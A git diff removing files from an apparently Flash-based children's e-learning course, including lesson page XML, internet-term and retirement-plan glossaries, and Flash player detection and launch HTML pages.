-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L03_p11.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>SStatic</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-				<Page>
-					<PageName>media/L03_p12.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p13.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p14.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p15.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p16.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>SStatic</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				
-					<Page>
-					<PageName>media/L03_p17.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p18.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p19.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p20.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>SStatic</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p21.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-			
-
-				<Page>
-					<PageName>media/L03_p22.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p23.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p24.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>SStatic</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p25.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p26.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p27.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>SStatic</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p28.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p29.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Static</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-
-					<Page>
-					<PageName>media/L03_p30.swf</PageName>
-					<PageTitleName>sixth</PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Interactivity</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>	
-			</Pages>
-
-
-		</Lesson>
-
-		<!-- Lesson 3 starts-->
-		<Lesson>
-			<LessonName>Summary</LessonName>
-			<Pages>
-				
-			        <Page>
-					<PageName>media/L04_p01.swf</PageName>
-					<PageTitleName>Third </PageTitleName>
-					<LessonNum>0</LessonNum>
-					<LoadComplete>Yes</LoadComplete>
-					<PageType>Animation</PageType>
-					<TranscriptText>#</TranscriptText>
-					<Audio>No</Audio>
-					<Slider>No</Slider>
-					<ClickNext>1,1</ClickNext>
-				</Page>
-				</Pages>
-		</Lesson>
-		
-	</Lessons>
-</Module>
-</Modules>
-				
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0003/efk_shell.swf b/Explore/elr/Other/O0003/efk_shell.swf
deleted file mode 100755
index ea8188b..0000000
--- a/Explore/elr/Other/O0003/efk_shell.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/glossary.xml b/Explore/elr/Other/O0003/glossary.xml
deleted file mode 100755
index b9916ee..0000000
--- a/Explore/elr/Other/O0003/glossary.xml
+++ /dev/null
@@ -1,131 +0,0 @@
-<glosssaryData>
-
-<alpha char="A">
-	<word>
-	  <term><![CDATA[Anti-virus software]]></term> 
-	  <description><![CDATA[A program or software that protects a PC (personal computer) from being infected with a computer virus. ]]></description> 
-	</word>
-	<word>
-	  <term><![CDATA[Attachment]]></term> 
-	  <description><![CDATA[A file that is sent along with an email message. The file may be sent as a separate message, but now it is usually sent as part of the message. This file can be a document, program, photo, image, music etc.]]></description> 
-	</word>
-
-</alpha>
-
-<alpha char="B">
-
-	<word>    
-	  <term><![CDATA[Browser]]></term> 		
-	  <description><![CDATA[A (web) browser is a program that gives a user access to the World Wide Web. ]]></description>     
-    </word>
-
-	
-</alpha>
-<alpha char="C">
-
-	<word>    
-	  <term><![CDATA[Chat (room) ]]></term> 		
-	  <description><![CDATA[A chat (room) is a virtual room on the Internet where people can communicate or chat with each other by typing messages.]]></description>     
-    </word>
-
-	<word>    
-	  <term><![CDATA[Compact Disc]]></term> 		
-	  <description><![CDATA[A compact disc (CD) is a storage device commonly used for storing digital information.]]></description>     
-	</word>
-</alpha>
-
-<alpha char="D">
-	<word>    
-	  <term><![CDATA[ Download]]></term> 		
-	  <description><![CDATA[To receive files, software, pictures, or programs transferred from one computer to another.  Also, downloading can occur from a computer to a peripheral device.]]></description>     
-	</word>
-		
-
-</alpha>
-
-<alpha char="E">
-	<word>
-	  <term><![CDATA[Email (Electronic Mail)]]></term> 		
-	  <description><![CDATA[Messages, usually text, sent from one person to another on computer via the Internet.]]></description>     
-	</word>
-</alpha>
-
-<alpha char="I">
-	<word>
-	  <term><![CDATA[Internet]]></term> 		
-	  <description><![CDATA[The Internet is primarily a collection of billions of interconnected web pages, which are collectively known as the World Wide Web. Internet is an interconnected system of networks that connects computers around the world to transmit (send) and receive data. The Internet is also used to transfer files and e-mail.]]></description>     
-	</word>
-	<word>
-	  <term><![CDATA[Instant Messenger]]></term> 		
-	  <description><![CDATA[Instant messenger is a program that alerts users when friends or colleagues are online and allows them to communicate with each other in real time through private online chat.]]></description>     
-	</word>
-</alpha>
-
-<alpha char="J">
-	<word>
-	  <term><![CDATA[Junk Mail]]></term> 		
-	  <description><![CDATA[Junk or Spam is unwanted e-mail messages that flood your mailbox. The messages are mostly advertisements for dubious products, moneymaking schemes, and illegal services. ]]></description>     
-	</word>
-	
-</alpha>
-<alpha char="P">
-	<word>
-	  <term><![CDATA[Password]]></term> 		
-	  <description><![CDATA[A word or other string of characters that is provided by a user in order to gain full or partial access to a computer system or data resources ]]></description>     
-	</word>
-	<word>
-	  <term><![CDATA[Personal Computer]]></term> 		
-	  <description><![CDATA[A word or other string of characters that is provided by a user in order to gain full or partial access to a computer system or data resources.]]></description>     
-	</word>
-</alpha>
-<alpha char="S">
-	<word>
-	  <term><![CDATA[Scraps]]></term> 		
-	  <description><![CDATA[A scrap is a message that you send or receive on a social networking site.  The term, scraps, is used in social networking site, Orkut. In Facebook, a message is called 'writing on the wall'. ]]></description>     
-	</word>
-	<word>
-	  <term><![CDATA[Search Engine]]></term> 		
-	  <description><![CDATA[Website or software that searches the Internet for web pages that contain a key word, phrase, or subject that is entered by the user to the search engine. Each engine has its own method of searching for information.]]></description>     
-	</word>
-	<word>
-	  <term><![CDATA[Social Networking]]></term> 		
-	  <description><![CDATA[A website that connects people who share that same personal or professional interests, place of origin, education, etc.]]></description>     
-	</word>
-	<word>
-	  <term><![CDATA[Spam]]></term> 		
-	  <description><![CDATA[Junk or Spam is unwanted e-mail messages that flood your mailbox. The messages are mostly advertisements for dubious products, moneymaking schemes, and illegal services.]]></description>     
-	</word>
-</alpha>
-<alpha char="U">
-	<word>
-	  <term><![CDATA[Upload]]></term> 		
-	  <description><![CDATA[The process of transferring data (files, programs) from a local computer or device to another computer.]]></description>     
-	</word>
-	
-</alpha>
-<alpha char="V">
-	<word>
-	  <term><![CDATA[Virus]]></term> 		
-	  <description><![CDATA[A computer virus is a malicious program that is loaded onto your computer without your knowledge and runs against your wishes. It is created specifically to invade computers and networks and wreak havoc on them. The mischief caused can be very minor, such as causing a funny image or cryptic message to be displayed on your screen, or it can do some serious damage by altering or even destroying files.]]></description>     
-	</word>
-	
-</alpha>
-<alpha char="W">
-	<word>
-	  <term><![CDATA[Web Site]]></term> 		
-	  <description><![CDATA[A web site is a virtual location on the Web. It is a group of similar Web pages linked by hyperlinks and managed by a single company, organization, or individual. A Web site may include text, graphics, audio and video files, and hyperlinks to other Web pages. Web sites can range in size from as little as one page to a vast number of pages. ]]></description>     
-	</word>
-	<word>
-	  <term><![CDATA[Web Browser]]></term> 		
-	  <description><![CDATA[A Web browser is a program that gives a user access to the World Wide Web.]]></description>     
-	</word>
-	<word>
-	  <term><![CDATA[Web Page]]></term> 		
-	  <description><![CDATA[Web page is a document on the Internet containing text, graphics, multimedia, and links to other Web pages.]]></description>     
-	</word>
-	<word>
-	  <term><![CDATA[World Wide Web]]></term> 		
-	  <description><![CDATA[A collection of billions of interconnected web pages.  The World Wide Web is an interconnected system of networks that connects computers around the world to transmit (send) and receive data. The World Wide Web is also used to transfer files and e-mail.]]></description>     
-	</word>
-</alpha>
-</glosssaryData>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0003/glossary/glossary.html b/Explore/elr/Other/O0003/glossary/glossary.html
deleted file mode 100755
index 896895a..0000000
--- a/Explore/elr/Other/O0003/glossary/glossary.html
+++ /dev/null
@@ -1,16 +0,0 @@
-<HTML>
-<HEAD>
-<meta http-equiv=Content-Type content="text/html;  charset=ISO-8859-1">
-<TITLE>glossary</TITLE>
-</HEAD>
-<BODY bgcolor="#FFFFFF">
-<!-- URL's used in the movie-->
-<!-- text used in the movie-->
-<OBJECT classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
- codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
- WIDTH="780" HEIGHT="580" id="glossary" ALIGN="">
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-</BODY>
-</HTML>
diff --git a/Explore/elr/Other/O0003/glossary/glossary.swf b/Explore/elr/Other/O0003/glossary/glossary.swf
deleted file mode 100755
index a976a42..0000000
--- a/Explore/elr/Other/O0003/glossary/glossary.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/glossary/glossary.xml b/Explore/elr/Other/O0003/glossary/glossary.xml
deleted file mode 100755
index 375f3cf..0000000
--- a/Explore/elr/Other/O0003/glossary/glossary.xml
+++ /dev/null
@@ -1,128 +0,0 @@
-<Glossary>
-
-<item>
-<word>After-Tax Stock Cost</word>
-<description><![CDATA[The after-tax dollars used to purchase stock.]]></description>
-</item>
-
-<item>
-<word>Calculated Installments</word>
-<description><![CDATA[A periodic payment that is calculated by dividing the total vested balance immediately prior to the payment by the number of payments remaining to be made.]]></description>
-</item>
-
-<item>
-<word>Cash Value</word>
-<description><![CDATA[The payment amount made in cash, not shares.]]></description>
-</item>
-
-<item>
-<word>Required Minimum Distribution</word>
-<description><![CDATA[The total amount of a required minimum distribution for the year that is required by law to be distributed from an employee's account in a qualified retirement plan.]]></description>
-</item>
-
-<item>
-<word>Fair Market Value of Shares Delivered</word>
-<description><![CDATA[The fair market value of the shares distributed, expressed as a dollar amount, and valued as of the day the payment is processed.]]></description>
-</item>
-
-<item>
-<word>Final Distribution</word>
-<description><![CDATA[A plan payment of the entire vested account balance in one payment; distributed after separation from service.]]></description>
-</item>
-
-<item>
-<word>Fixed Installments (Indefinite Period)</word>
-<description><![CDATA[Payment of a fixed amount for an indefinite period, made with the frequency allowed by the plan.]]></description>
-</item>
-
-<item>
-<word>Fresh Start</word>
-<description><![CDATA[This approach defines two contracts in which all sources of money are contained. One contract contains an after-tax source for the Post-Fresh Start date. The other contract contains an after-tax source for the Pre-Fresh Start date and all other sources.]]></description>
-</item>
-
-<item>
-<word>GNTC</word>
-<description><![CDATA[The nontaxable balance (not including earnings) existing before January 1, 1987. This is also called the Pre-1987 Tax Basis, Grandfathered NTC, NG, or NT6.]]></description>
-</item>
-
-<item>
-<word>Gross Distribution</word>
-<description><![CDATA[The overall payment amount that is distributed from the account. (Also called Total Value of the Payment.)]]></description>
-</item>
-
-<item>
-<word>In-Service Withdrawals</word>
-<description><![CDATA[The payment of all or part of a participant's plan balance while the participant is still actively employed.]]></description>
-</item>
-
-<item>
-<word>Loan Settlement</word>
-<description><![CDATA[The outstanding loan balance at the time of the foreclosure.]]></description>
-</item>
-
-<item>
-<word>Non-After Tax Stock Cost</word>
-<description><![CDATA[The dollars, other than after-tax, used to purchase stock (including employee before-tax contributions, employer matching contributions, rollovers, and dividends that are reinvested in the stock fund).]]></description>
-</item>
-
-<item>
-<word>Non-Periodic Payments</word>
-<description><![CDATA[A payment that is not periodic. These include fixed installments (indefinite period), in-service withdrawals, partial required minimum distributions and final distributions.]]></description>
-</item>
-
-<item>
-<word>Nontaxable Contributions</word>
-<description><![CDATA[Contributions made to a qualified plan on an after-tax basis.]]></description>
-</item>
-
-<item>
-<word>Partial Distribution</word>
-<description><![CDATA[After separation from service, a plan payment of only a portion of the participant's vested account balance.]]></description>
-</item>
-
-<item>
-<word>Periodic Payment</word>
-<description><![CDATA[Payments made to the participant at least as frequently as annually for a definite or determinable amount of time.]]></description>
-</item>
-
-<item>
-<word>PNTC</word>
-<description><![CDATA[The nontaxable balance (not including earnings) accumulated after December 31, 1986. This is also called the Post-1986 Tax Basis, Prorated NTC, NP or NT7.]]></description>
-</item>
-
-<item>
-<word>Roth 401(k) Stock Cost</word>
-<description><![CDATA[The Roth 401(k) dollars used to purchase stock.]]></description>
-</item>
-
-<item>
-<word>Single Contract</word>
-<description><![CDATA[The single contract approach defines one tax contract in which all sources of money are combined.]]></description>
-</item>
-
-<item>
-<word>Statutory</word>
-<description><![CDATA[The Statutory approach defines two contracts in which all sources of money are contained. One contract contains all plan balances other than the after-tax source and the other contract contains the after-tax source.]]></description>
-</item>
-
-<item>
-<word>Stock Cost</word>
-<description><![CDATA[The total amount of money used to purchase shares of stock. Earnings or losses in the stock fund do not affect stock cost.]]></description>
-</item>
-
-<item>
-<word>Tax Contract</word>
-<description><![CDATA[A tax contract is a way of grouping sources of money for computing the nontaxable portion of non-periodic payments.]]></description>
-</item>
-
-<item>
-<word>Unrealized Appreciation</word>
-<description><![CDATA[The difference between the market value of shares delivered and the stock cost of shares delivered.]]></description>
-</item>
-
-<item>
-<word>nontaxable credit (NTC)</word>
-<description><![CDATA[Contributions made to a qualified plan on an after-tax or Roth 401(k) basis.]]></description>
-</item>
-
-</Glossary>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0003/html/fpi_blank.html b/Explore/elr/Other/O0003/html/fpi_blank.html
deleted file mode 100755
index def01f9..0000000
--- a/Explore/elr/Other/O0003/html/fpi_blank.html
+++ /dev/null
@@ -1,12 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>ELearning For Kids</TITLE>
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0003/html/fpi_detection.html b/Explore/elr/Other/O0003/html/fpi_detection.html
deleted file mode 100755
index 1484dba..0000000
--- a/Explore/elr/Other/O0003/html/fpi_detection.html
+++ /dev/null
@@ -1,57 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>moock flash player inspector :: v1.3.6 (js)</TITLE>
-
-<!-- Prevent caching in netscape. 
-     Very important cause netscape tends to mangle cached code -->
-<META HTTP-EQUIV="expires" CONTENT="0">
-<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
-
-<!-- import the fpi logic from external javascript files -->
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-init.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-writevb.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-main.js"></SCRIPT>
-
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-<!--############################################################
-  IF YOU'RE USING PAGE REDIRECTION, FOLLOW THESE INSTRUCTIONS
-  1) Put some content here to tell the user what's going on
-     while they wait. something like: 
-  "Detecting Macromedia Flash, please wait..."
-
-  2) Delete everything below this point up to 
-  the NOSCRIPT start tag: <NOSCRIPT>
-  ############################################################-->
-
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">Detecting Macromedia Flash 
-  Player, please wait...</font>
-</center>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="fpi-swap.js"></SCRIPT>
-
-<NOSCRIPT>
-<!--############################################################################
-  HERE WE PROVIDE ALTERNATE CONTENT FOR NON-SCRIPT-SUPPORTING BROWSERS
-  OR BROWSERS THAT HAVE THEIR SCRIPTING TURNED OFF...
-  ############################################################################
-
-  IF YOU ARE USING PAGE REDIRECT, A META REFRESH GOES HERE. DELETE EVERYTHING
-  BETWEEN THE NOSCRIPT TAGS EXCEPT THE FOLLOWING META TAG:
-  <META HTTP-EQUIV="Refresh" CONTENT="10;URL=noflash.html"> 
-  
-  IF YOU ARE USING CONTENT SWAPPING, THE VALUE OF THE alternateContent VARIABLE
-  SHOULD BE REPEATED HERE. DELETE EVERYTHING BETWEEN THE NOSCRIPT TAGS
-  EXCEPT YOUR alternateContent HTML. FOR EXAMPLE:
-  <IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">
-  
-  -->
-</NOSCRIPT>
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0003/html/fpi_flash.html b/Explore/elr/Other/O0003/html/fpi_flash.html
deleted file mode 100755
index 53fe5d4..0000000
--- a/Explore/elr/Other/O0003/html/fpi_flash.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<html>
-<head>
-	<title>ELearning For Kids</title>
-</head>
-
-<body BGCOLOR="#FFFFFF">
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">You have required 
-  Flash Player installed on your machine.<br>
-  Please click above link to launch the course. </font> 
-</center>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0003/html/fpi_no_flash.html b/Explore/elr/Other/O0003/html/fpi_no_flash.html
deleted file mode 100755
index 61ef2f8..0000000
--- a/Explore/elr/Other/O0003/html/fpi_no_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have flash player installed on your machine. Please 
-                click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to install latest flash player.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-3,1,619,156" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Other/O0003/html/fpi_upgrade_flash.html b/Explore/elr/Other/O0003/html/fpi_upgrade_flash.html
deleted file mode 100755
index 1f7eef8..0000000
--- a/Explore/elr/Other/O0003/html/fpi_upgrade_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have required flash player installed on your machine. 
-                Please click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to upgrade flash player. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-327,-67,480,134" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Other/O0003/html/launch.html b/Explore/elr/Other/O0003/html/launch.html
deleted file mode 100755
index 171a0fd..0000000
--- a/Explore/elr/Other/O0003/html/launch.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="90%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="center" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                It is essential to keep this window open till the entire course 
-                runs.<br>Turn on your speakers and keep the volume high as you enter this course.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-181,-78,621,124" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-</html>
diff --git a/Explore/elr/Other/O0003/html/os_browser_detection.html b/Explore/elr/Other/O0003/html/os_browser_detection.html
deleted file mode 100755
index bae128e..0000000
--- a/Explore/elr/Other/O0003/html/os_browser_detection.html
+++ /dev/null
@@ -1,12 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="../js/browser-detection.js"></script>
-<script>
- </script>
-</head>
-<body>
-</body>
-</html>
diff --git a/Explore/elr/Other/O0003/html/os_not_compatible_page.html b/Explore/elr/Other/O0003/html/os_not_compatible_page.html
deleted file mode 100755
index 3d8d345..0000000
--- a/Explore/elr/Other/O0003/html/os_not_compatible_page.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                Your computer does not meet the minimum requirements for viewing 
-                this course. It is recommended that you take this course from 
-                any other computer. Please click <a href="http://www.macromedia.com/support/flash/releasenotes/player/rn_6.html#systemrequirements" target="_blank">here</a> 
-                to view System Requirements. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-214,-45,591,157" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
